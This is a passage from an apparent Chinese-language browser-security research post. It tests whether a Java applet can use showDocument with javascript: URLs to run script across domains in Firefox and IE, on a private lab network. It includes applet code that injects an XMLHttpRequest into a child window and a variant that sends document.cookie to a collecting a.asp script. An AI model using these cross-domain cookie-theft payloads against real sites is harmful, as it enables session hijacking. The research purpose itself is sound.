域与域之间的牵绊
那么不同域会出现什么情况呢?
this.getAppletContext().showDocument(new URL("javascript:alert(document.domain)"),"kxlzx");
这段代码和前面第一节部分唯一的差别是,打开了http://192.168.0.3/test2.htm(父窗体)页面后,父窗体的applet控制子窗体访问到了另一个域“192.168.0.2”中。执行结果,IE拒绝访问,FF却弹出了
奇怪,分明是让子窗体去访问"javascript:alert(document.domain)",怎么会弹出父窗体的域名呢?更诡异的是,弹出框的title上居然写着 “来自192.168.0.3的页面说:”。猜测这个问题有两种可能:
1、子窗口(http://192.168.0.2/php.php)仍然认为自己属于父窗体的域(192.168.0.3)。
2、这个框(JS)根本就是由父窗体调出来的。
为了证明域的问题,我写了段JS来判断,在子窗体的页面中,写段AJAX,让他去给父窗体送点东西。如果同一个域,就能拿,如果不同域会拒绝访问。
几经测试,写出了可以通过的代码:
public void start()
{
try {
this.getAppletContext().showDocument(new URL("http://192.168.0.2/php.php"),"kxlzx");
this.getAppletContext().showDocument(new URL("javascript:xmlHttp = new XMLHttpRequest();xmlHttp.onreadystatechange = function handleStateChange(){if (xmlHttp.readyState == 4 ){if (xmlHttp.status == 200 )alert(xmlHttp.responseText);}};xmlHttp.open(\"GET\", \"http://\"+document.domain+\"/test/a.asp?context=ddd\", true); xmlHttp.send(null);"),"kxlzx");
} catch (Exception e) {
}
}
}
请注意变红的地方!代码会先控制子窗体打开页面,然后控制子窗体执行一段ajax代码访问a.asp。a.asp文件的作用是接收context变量,然后把它的值保存在本地一个kxlzx.txt的文件里。从kxlzx.txt文件内容来看,执行成功了。也就是说,这段ajax成功的访问了位于192.168.0.3上的文件a.asp,并提交了参数。
这时的我非常兴奋!跨域“0day”?!!别高兴的太早,还有种可能就是父窗口执行了ajax。为了进一步扩大战果和分辨父子窗体,我立刻修改js,让他把cookie传过去,修改代码中传递参数的值为“a.asp?context=aa'+document.cookie+document.getElementById(‘who’)”。然后修改子窗体访问的php.php:
document.cookie='password:kxlzx';
</script>
<input id="who" value="php.php">